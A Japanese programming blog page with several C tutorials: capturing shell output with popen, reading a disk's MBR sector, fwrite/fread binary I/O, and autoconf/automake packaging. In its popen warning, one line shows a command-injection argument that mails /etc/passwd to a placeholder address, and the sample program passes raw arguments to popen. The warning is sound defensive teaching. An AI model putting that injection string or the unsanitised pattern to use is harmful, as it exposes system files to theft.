2012年03月29日

[C++]パイプを使ってシェルコマンドの実行結果を取得する方法

C++(というかC言語)プログラム上でシェルを実行し、出力結果をプログラム内で利用するには、popen関数を使うという手がある。この popen 関数はパイプを使うための関数だ。

サンプルソースを見てみよう。

hoge.c
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char* argv[]) {

FILE* fp;
char buf[256];

if (argc <= 1) {
fprintf(stderr, "引数に「コマンド」を入力して下さい!\n");
return EXIT_FAILURE;
}

// コマンドを指定してパイプをオープン
if ((fp = popen(argv[1], "r")) == NULL) {
fprintf(stderr, "パイプのオープンに失敗しました!: argv[1]=%s", argv[1]);
return EXIT_FAILURE;
}

// パイプからのコマンド実行結果を受け取り表示
while (fgets(buf, sizeof(buf), fp) != NULL) {
printf("%s", buf);
}

// パイプをクローズ
pclose(fp);

return EXIT_SUCCESS;
}


とてもシンプルなプログラムなので見ればわかるだろうが、一応軽く流れだけまとめると、

(1)popenでシェルコマンドを与えてパイプを開き
(2)fgetsで実行結果を取得し
(3)最後はpcloseでパイプを閉じる

といった感じである。


popenを使う時の注意点


とても便利な popen 関数だが、その反面、セキュリティ上の穴も作ってしまいがちである。例えば上のサンプルソースのように外部からコマンドを与えるプログラムの場合、厳密に作るならコマンド注入攻撃対策を施す必要がある

上記プログラムだと、例えば、
no-such-file; sendmail bad@example.com </etc/passwd #

のようなコマンドが引数から与えられると、/etc/passwd が他人に盗まれてしまう恐れがあるのだ。

対策方法としては、シェルコマンドで意味を持つ下記の文字列をなるべく全て無効化することである。

! " # $ % & ' ( ) *
+ , - . / : ; < = >
? @ [ \ ] ^ _ ` { |
} ?


特に、

& ( ) ; ` |


には十分に気を付けるべし。
このような危険な文字を単純に "\" でエスケープするのではなく、削除してしまうのが最も安全だ。

もしプログラムからプログラムを起動することが目的なのであれば、popen関数は使わず、exec系関数を利用すべきである。

exec系の関数は、新たなプログラムを起動するためのAPIであり、次のような複数の関数がある。

execl(path, arg..., 0)
execlp(file, arg..., 0)
execle(path, arg..., 0, envp)
execv(path, argv)
execvp(file, argv)
execve(path, argv, envp)
execvP(file, search_path, argv)

これらの関数は、"exec" の後ろにつく英字が次のような意味をもっている。
l 起動するプログラムに与える引数を execXX 関数の引数に直接並べる。引数の並びの最後は0(NULLでもよい)で示す
v 起動するプログラムに与える引数をベクトル argv として与える。引数の並びの最後は argv[n] == 0(NULLでもよい)で示す
p 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、PATH環境変数を用いて起動対象を探索させる
P 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、起動対象の探索パスを文字列 search_path として与える
e 環境変数を現在のプログラムから継承させず、環境変数プール envp を与える

これらのうち使用を推奨するのは、

execle
execve
execvP

の3つである。なぜならば、環境変数 PATH が改ざんされていても影響を受けず、起動するプログラムに与える環境変数を制御できるからである。


参考にさせていただいたサイト


コマンド注入攻撃対策 - IPA

C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 17:39 | Comment(0) | TrackBack(0) | C++

2012年03月27日

[C++]物理ドライブの先頭セクタ(MBR領域)を読み込んでみる

今回はC++(というかC言語)で物理ドライブへアクセスして、先頭セクタ(つまり先頭512バイトのMBR領域)を読み込む方法を紹介したいと思う。ちなみに、今から紹介するのはWindows上でMinGWを動かして試した方法である。

サンプルソースを読む前に、まずは自分の環境の物理ドライブの DeviceID を知っておく必要がある。MinGWのターミナル上で以下のコマンドを叩けば表示される。

$ wmic diskdrive list brief


Windows環境をお使いなら、例えば、\\.\PhysicalDrive0 などと表示されていると思う。これが DevieID、つまり物理ドライブのパスである。プログラムで物理ディスクにアクセスする際は、この DeviceID を利用することになる。

では、サンプルソースを見てみよう。WindowsAPIを使う方法とLinuxシステムコールを使う方法の二種類用意する俺の親切さw

まずはWindowsAPIを使ってMBR領域を読み込み&表示する例からだ。

hoge_win.c
#include <stdio.h>
#include <windows.h> // WinAPI

// PC/AT互換機のセクタ長は512バイト
#define SECTOR 512

int main(){

// 読み込んだサイズ
unsigned long sizeRead;
// セクタデータ格納バッファ
unsigned char buf[SECTOR];

// ハンドル取得
HANDLE h = CreateFile("\\\\.\\PHYSICALDRIVE0", // 物理ドライブパス(DeviceID)
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (h == INVALID_HANDLE_VALUE) {
// ハンドル取得失敗
int errCode = GetLastError();
printf("invalid handle value! ErrorCode:%d\n", errCode);
if (errCode == ERROR_ACCESS_DENIED) {
// 多分、管理者権限で実行されてないよ!
printf("This code means 'Access Denied.'\n");
}
exit(EXIT_FAILURE);
}

// 先頭の1セクタ(つまりMBR領域)を読み込む
ReadFile(h, buf, sizeof(buf), &sizeRead, NULL);

// ハンドルを閉じる
CloseHandle(h);

// バッファの中身を16進数ダンプ表示
int i;
for (i = 0; i < sizeof(buf); i++){
if (i % 16 == 0) {
printf("%04X", i);
}
printf(" %02X", buf[i]);
if (i % 16 == 15){
printf("\n");
}
}

// 続行するには何かキーを押して下さい...
system("PAUSE");

return EXIT_SUCCESS;
}


これをMinGW上でコンパイルし、Windowsで実行すると、MBR領域が16進数でダンプされるはずである。この際、必ず管理者権限で実行すること。そうしなければ正しい情報が表示されないか、もしくはハンドルの取得で失敗する。

管理者権限で実行する方法は、exeファイルのプロパティ→互換性タブ→「管理者としてプログラムを実行する」にチェックすればOKだ。


次にLinux(MinGW/MSYS)のシステムコールを使った例である。個人的にはこちらが好みだ。

hoge_linux.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h> // "O_RDONLY" などの定義
#include <unistd.h> // open, read, write, close

// PC/AT互換機のセクタ長は512バイト
#define SECTOR 512

int main(){

// セクタデータ格納バッファ
unsigned char buf[SECTOR];

// ハンドル取得
int h = open("\\\\.\\PHYSICALDRIVE0", O_RDONLY);

// 最初の1セクタ(つまりMBR領域)を読み込む
read(h, buf, sizeof(buf));

// ハンドルを閉じる
close(h);

// バッファの中身を16進数ダンプ表示
int i;
for (i = 0; i < sizeof(buf); i++){
if (i % 16 == 0) {
printf("%04X", i);
}
printf(" %02X", buf[i]);
if (i % 16 == 15){
printf("\n");
}
}

// 続行するには何かキーを押して下さい...
system("PAUSE");

return EXIT_SUCCESS;
}


これをMinGW上でコンパイルし、Windowsのコマンドプロンプト上で実行すると以下のような出力結果となる。

0000 33 C0 8E D0 BC 00 7C 8E C0 8E D8 BE 00 7C BF 00
0010 06 B9 00 02 FC F3 A4 50 68 1C 06 CB FB B9 04 00
0020 BD BE 07 80 7E 00 00 7C 0B 0F 85 0E 01 83 C5 10
0030 E2 F1 CD 18 88 56 00 55 C6 46 11 05 C6 46 10 00
0040 B4 41 BB AA 55 CD 13 5D 72 0F 81 FB 55 AA 75 09
0050 F7 C1 01 00 74 03 FE 46 10 66 60 80 7E 10 00 74
0060 26 66 68 00 00 00 00 66 FF 76 08 68 00 00 68 00
0070 7C 68 01 00 68 10 00 B4 42 8A 56 00 8B F4 CD 13
0080 9F 83 C4 10 9E EB 14 B8 01 02 BB 00 7C 8A 56 00
0090 8A 76 01 8A 4E 02 8A 6E 03 CD 13 66 61 73 1C FE
00A0 4E 11 75 0C 80 7E 00 80 0F 84 8A 00 B2 80 EB 84
00B0 55 32 E4 8A 56 00 CD 13 5D EB 9E 81 3E FE 7D 55
00C0 AA 75 6E FF 76 00 E8 8D 00 75 17 FA B0 D1 E6 64
00D0 E8 83 00 B0 DF E6 60 E8 7C 00 B0 FF E6 64 E8 75
00E0 00 FB B8 00 BB CD 1A 66 23 C0 75 3B 66 81 FB 54
00F0 43 50 41 75 32 81 F9 02 01 72 2C 66 68 07 BB 00
0100 00 66 68 00 02 00 00 66 68 08 00 00 00 66 53 66
0110 53 66 55 66 68 00 00 00 00 66 68 00 7C 00 00 66
0120 61 68 00 00 07 CD 1A 5A 32 F6 EA 00 7C 00 00 CD
0130 18 A0 B7 07 EB 08 A0 B6 07 EB 03 A0 B5 07 32 E4
0140 05 00 07 8B F0 AC 3C 00 74 09 BB 07 00 B4 0E CD
0150 10 EB F2 F4 EB FD 2B C9 E4 64 EB 00 24 02 E0 F8
0160 24 02 C3 49 6E 76 61 6C 69 64 20 70 61 72 74 69
0170 74 69 6F 6E 20 74 61 62 6C 65 00 45 72 72 6F 72
0180 20 6C 6F 61 64 69 6E 67 20 6F 70 65 72 61 74 69
0190 6E 67 20 73 79 73 74 65 6D 00 4D 69 73 73 69 6E
01A0 67 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74
01B0 65 6D 00 00 00 63 7B 9A 3D 91 C5 E0 00 00 00 01
01C0 01 00 1C FE FF FF 3F 00 00 00 37 16 71 02 80 FE
01D0 FF FF 07 FE FF FF 76 16 71 02 08 A4 50 09 00 FE
01E0 FF FF 0F FE FF FF 00 C0 C1 0B 00 20 81 19 00 00
01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA
続行するには何かキーを押してください . . .


最後の2バイトがMBRブートシグニチャ("55 AA" = 0xAA55)を示していればMBR領域の読み込み成功とみてよいだろう。

禁断のMBRへの書込みを行いたい場合は、write関数を使えばできるのだが、MBRを下手にいじくるとOSが起動しなくなる恐れがある。それでもやってみたい人は十分に注意の上、自己責任でやってみてほしい。

関連エントリ


MinGW/MSYS+gccでGUIアプリ開発環境を構築
http://sunabako.sblo.jp/article/54560054.html

参考にさせていただいたサイト


MinGWでMBR読み出し
物理ディスク等のデバイスに直接アクセスする (Windows NT系OS)
マスターブートレコード(wikipedia)

C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 19:40 | Comment(0) | TrackBack(0) | C++

2012年03月26日

[C++]fwriteでバイナリデータを書き込んだり、挿入したり。

前回はC言語(C++)でバイナリデータを読み込む方法を紹介したが、今回はバイナリデータの書き込む方法と、プラスアルファとしてデータを挿入するテクニックを紹介したいと思う。

まずは以下のサンプルソースを見て欲しい。

fwrite.c
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE* fp;
size_t num;
char* fname = "./fwrite.dat";

// ==================================
// ■データ書込み
// ファイルに "apple\0" と書き込み、
// その後、"Apple\0" と書き換え
// ==================================

// バイナリ書込モードでファイルオープン
if ((fp = fopen(fname, "wb")) == NULL) {
fprintf(stderr, "file open failed! : %s\n", fname);
exit(EXIT_FAILURE);
}

// "apple\0" と書き込み
char d1[6] = "apple\0";
num = fwrite(&d1, sizeof(d1), 1, fp);

/*
この時点で
fwrite.dat の内容は、"apple\0"
*/

// 先頭(0byte目)にカーソル移動
fseek(fp, 0, SEEK_SET);
// "a" を "A" に書き換え、"Apple\0" に
char d2 = 'A';
num = fwrite(&d2, sizeof(d2), 1, fp);

/*
この時点で
fwrite.dat の内容は、"Apple\0"
*/

// ファイルクローズ
fclose(fp);


// ==================================
// ■データ挿入
// "Apple\0" の5byte目の直後へ
// "t!" を挿入し、"Applet!\0" に。
// 編集結果は別ファイルへ出力する。
// ==================================

// 出力ファイル名
char* output = "./output.dat";

// 読込用ファイルポインタ
FILE* fpr;
// 書込用ファイルポインタ
FILE* fpw;

// バイナリ読込モードでファイルオープン
if ((fpr = fopen(fname, "rb")) == NULL) {
fprintf(stderr, "read file open failed! : %s\n", fname);
exit(EXIT_FAILURE);
}
// バイナリ書込モードでファイルオープン
if ((fpw = fopen(output, "wb")) == NULL) {
fprintf(stderr, "write file open failed! : %s\n", fname);
exit(EXIT_FAILURE);
}

// 作業用変数
char tmp;
// 挿入したい文字列
char ins[2] = "t!";

while (1) {
// 読込カーソルが挿入ポイント(5byte目)に来た場合
if (ftell(fpr) == 5) {
// 挿入したい文字列を書込み
fwrite(&ins, sizeof(ins), 1, fpw);
}
// 1byte読込み
if (fread(&tmp, sizeof(tmp), 1, fpr) == 0) {
break;
}
// 1byte書込み
fwrite(&tmp, sizeof(tmp), 1, fpw);
}

/*
この時点で
fwrite.dat の内容は、"Apple\0"
output.dat の内容は、"Applet!\0"
*/

// 読込用ファイルクローズ
fclose(fpr);
// 書込用ファイルクローズ
fclose(fpw);

return EXIT_SUCCESS;
}


"wb"モード(バイナリ書込モード)でファイルを開き、stdio.h の fwrite関数を使ってデータを書き込むというのが基本パターンである。

size_t fwrite(const void* ポインタ, 
size_t 1アイテムのサイズ,
size_t アイテム数,
FILE* ファイルポインタ)


戻り値 size_t は書き込んだアイテム数だ。

すでに書きこまれたデータを途中で変更したい場合は、変更したいアイテムまでカーソルを移動させてfwriteすればよい。

が、ここで一つ注意が必要である。fwriteはデータを「挿入」してくれるわけではないということだ。あくまでも「上書き」なのである。

データ挿入は意外と面倒臭い



例えば上のサンプルソースのように、"Apple\0" というデータに "t!" という文字を挿入して "Applet!\0" に変更したい場合、6バイト目の先頭、つまり "e" の後ろへカーソルを移動させて "t!" を fwrite すればいいのではないかと初心者は直感的に感じてしまうようだが、実際はそれでは期待通りの結果にはならない。何も考えずに "t!" を指定のカーソル位置へ fwrite すると、できあがるデータは "Applet!" であって、期待している "Applet!\0" にはならないということだ。

期待通りの結果を得るためには、少々面倒だが、上記サンプルソースの後半処理のように、(1)読込用ファイルポインタfprと書込用ファイルポインタfpwを二つ用意しておいて、(2)fprから1byte読み込む度にfpwに1byte書き込み、(3)挿入したい地点にカーソルが来た時に、挿入したい文字列 "t!" をfpwに書き込むという条件文を入れる必要があるのだ。

fwrite関数の説明にしてはちょっと横道に逸れてしまった感が否めないが、「データ挿入」処理というのはプログラマが必ず一度は突き当たる壁だと思っているので、ここで敢えて紹介しておいた。

もっとスマートなロジックをご存知の方はコメ欄でツッコミをよろしく。


C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 18:09 | Comment(0) | TrackBack(0) | C++

2012年03月25日

[C++]freadでバイナリデータを読み込む

今回はC++でバイナリデータを読み込む方法を紹介しよう。

バイナリデータの扱いは、プログラミングにおいて基本中の基本でありながらも最も重要な処理ともいえるのでしっかり理解しておきたいところだ。

まずはバイナリエディタを使って以下のようなサンプルデータを作成する。

binfile.dat
FF 00 00 FF FF 61 62 63 00 E3 81 82 E3 81 84 
E3 81 86 00 FF


上記ファイルのファイルレイアウトは以下の通りだ。

FF unsigned char(1byte) = 0xff = 255
00 00 FF FF long(4byte) = 0xffff0000 = -65536
61 62 63 00 char(4byte) = 0x61 0x62 0x63 0x00 = 'abc\0'
E3 81 82 E3 81 84 E3 81 86 00 char(10byte) = 0xe38182 0xe38184 0xe38186 0x00 = u'あいう\0'
FF unsigned char(1byte) = 0xff = 255


リトルインディアンなマシン(Intelプロセッサ)を前提にしているため、第二項目の「0000FFFF」は 0xffff0000 として扱われていることに注意が必要である。

C言語やC++でバイナリデータを読み込むには、stdio.h のfread関数を利用する。

size_t fread(const void* ポインタ, 
size_t 1アイテムのサイズ,
size_t アイテム数,
FILE* ファイルポインタ)


1アイテムのサイズ*アイテム数のバイト数分のデータを第一引数のポインタへ読み込む。戻り値はアイテム数である。アイテムが無かった場合は 0 が返る。

以下はプログラミング例だ。
先ほど作ったサンプルデータを読み込んで表示するだけの単純なプログラムである。

binfile.c
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE* fp;
size_t num;
char* fname = "./binfile.dat";

/* =============== */
/* データ構造 */
/* =============== */
/* 第1項目: unsigned char 1byte */
unsigned char d1;
/* 第2項目: long 4byte */
long d2;
/* 第3項目: char 4byte */
char d3[4];
/* 第4項目: char 10byte (UTF-8) */
char d4[10];
/* 第5項目: unsigned char 1byte */
unsigned char d5;

/* ファイルのオープン */
if ((fp = fopen(fname, "rb")) == NULL) {
fprintf(stderr, "file open failed! : %s\n", fname);
exit(EXIT_FAILURE);
}

/* バイナリデータ読込 */
// 第1項目 0xff = 255
num = fread(&d1, sizeof(d1), 1, fp);
printf("d1:%d\n", d1, num);
// 第2項目 0xffff0000 = -65536
num = fread(&d2, sizeof(d2), 1, fp);
printf("d2:%d\n", d2, num);
// 第3項目 0x61 0x62 0x63 0x00 = 'abc\0'
num = fread(&d3, sizeof(d3), 1, fp);
printf("d3:%s\n", d3, num);
// 第4項目 0xe38182 0xe38184 0xe38186 0x00 = u'あいう\0'
num = fread(&d4, sizeof(d4), 1, fp);
printf("d4:%s\n", d4, num);
// 第5項目 0xff = 255
num = fread(&d5, sizeof(d5), 1, fp);
printf("d5:%d\n", d5, num);

/* ファイルのクローズ */
fclose(fp);

return EXIT_SUCCESS;
}


$ gcc binfile.c -o binfile.exe
$ binfile.exe


これをコンパイルし、実行してみると、、、

d1:255
d2:-65536
d3:abc
d4:あいう
d5:255


このように表示される。

さて、次回はバイナリデータの書き込みについて紹介したいと思う。


C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 14:55 | Comment(0) | TrackBack(0) | C++

2012年03月24日

GNU autoconf と automake を使って自作アプリの配布パッケージ作成。

GNU系アプリのソースをダウンロードしてインストールする際、必ずやるのが tar zxvf(圧縮ファイルを展開) → ./configure(Makefile自動生成) → make(コンパイル) → make install(インストール) だ。

./configure のお陰で自分の環境に合わせたMakefileが自動生成される。これはユーザにとっては非常にありがたいものである。

この配布用パッケージの作成を便利にしてくれるのが、GNUの autoconfautomake というツールである。

今回はMinGW/MSYS環境にてこれらのツールを使い、自作アプリの配布パッケージを作ってみたいと思う。以下に出てくる foo はパッケージ名、hoge はソース・実行ファイル名を表している。

まずは作業用ディレクトリとしてfooフォルダを作成。これが今回の作業におけるルートディレクトリになる。そして、foo直下にはソース格納用のsrcフォルダを作成する。

$ mkdir foo
$ cd foo
$ mkdir src


早速ソースコード(hoge.c)を foo/src に保存する。これはカレントディレクトリを表示するだけの簡単なアプリだ。

foo/src/hoge.c
#include <stdio.h>
#include <unistd.h>

int main(){
char cd[1024];
getcwd(cd, sizeof(cd));
printf("カレントディレクトリ: %s\n", cd);
return 0;
}


次にfoo/に configure.ac と Makefile.am を新規作成し、
$ cd ..
$ touch configure.ac Makefile.am


以下の内容で保存する。

foo/configure.ac
# Initialize for autoconf and automake
AC_PREREQ([2.58])
AC_INIT([foo], [0.0.0])
AC_CONFIG_AUX_DIR([build-aux])
AM_INIT_AUTOMAKE([1.9 foreign -Wall])
AC_CONFIG_SRCDIR([src/hoge.c])
AC_CONFIG_HEADERS([build-aux/config.h])
AM_MAINTAINER_MODE

# Checks for programs
AC_PROG_CC

# Output results
AC_CONFIG_FILES([
Makefile
build-aux/Makefile
src/Makefile
])
AC_OUTPUT


上記では、fooがパッケージ名、0.0.0 がバージョン、src/hoge.c がソース・ディレクトリ内にあるソースファイルの一つを指定している(srcフォルダの場所さえ分かればいいようだ)。

foo/Makefile.am
SUBDIRS = build-aux src
ACLOCAL_AMFLAGS = -I build-aux


次に foo/build-aux フォルダを新規作成。そこへautomakeに必要なファイルをautomakeのインストール先(/mingw/share/automake-#.##/)からコピー。空のMakefile.amも新規作成。
$ mkdir build-aux
$ cd build-aux
$ cp /mingw/share/automake-1.11/{compile,config.guess,config.sub,depcomp,install-sh,missing} .
$ touch Makefile.am


次に再び foo/src フォルダに移動し、Makefile.amを新規作成し、

$ cd ../src
$ touch Makefile.am


以下の通り編集保存する。

foo/src/Makefile.am
bin_PROGRAMS = hoge
hoge_SOURCES = hoge.c

上記は /mingw/bin フォルダへインストールさせる場合の例だ。
ソースファイルが他にも複数ある場合は、hoge.cの後ろにスペース区切りで追加していく。

foo/ に戻り、autoconf, automake にあれこれ準備させる。

$ cd ..
$ aclocal
$ autoheader
$ autoconf
$ automake


foo/buildフォルダを作成し、foo/buildフォルダ内に移動。そこで ../configure → make でテンプレの出来上がり。

$ mkdir build
$ cd build
$ ../configure --enable-maintainer-mode
$ make


この時点でfoo/のディレクトリ構造は以下のようになっているはずだ。赤字は今回手作業で作成したもの。青字はコピーしてきたもの。そして、それ以外はautomakeなどが自動生成したものとなっている。
foo/
src/
│ └hoge.c
│ └Makefile.am
│ └Makefile.in
build-aux/
│ └depcomp
│ └install-sh
│ └missing
│ └config.guess
│ └config.sub
│ └Makefile.am
│ └config.h.in
│ └Makefile.in
build/
│ └Makefile
│ └config.log
│ └config.status
│ └src/
│ │ └Makefile
│ │ └hoge.o
│ │ └hoge.exe
│ │ └.deps/
│ │ └(省略)
│ └build-aux/
│ └Makefile
│ └stamp-h1
│ └config.h
configure.ac
Makefile.am
└aclocal.m4
└configure
└Makefile.in
└autom4te.cache/
└(省略)


最後に配布パッケージを一つにまとめて本当の完成である。foo/buildで、make dist すればOK。

$ make dist


foo-0.0.0.tar.gzという配布用パッケージファイルが生成されているはずだ。

このファイルを展開し、configure→make→make install すると、/mingw/bin/ に hoge.exe がインストールされる。


■今回参考にさせていただいたサイト
Autoconf + Automakeの使い方のメモ


GNU Make 第3版
GNU Make 第3版
posted with amazlet at 12.03.24
Robert Mecklenburg
オライリージャパン
売り上げランキング: 92560

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 10:01 | Comment(0) | TrackBack(0) | 開発環境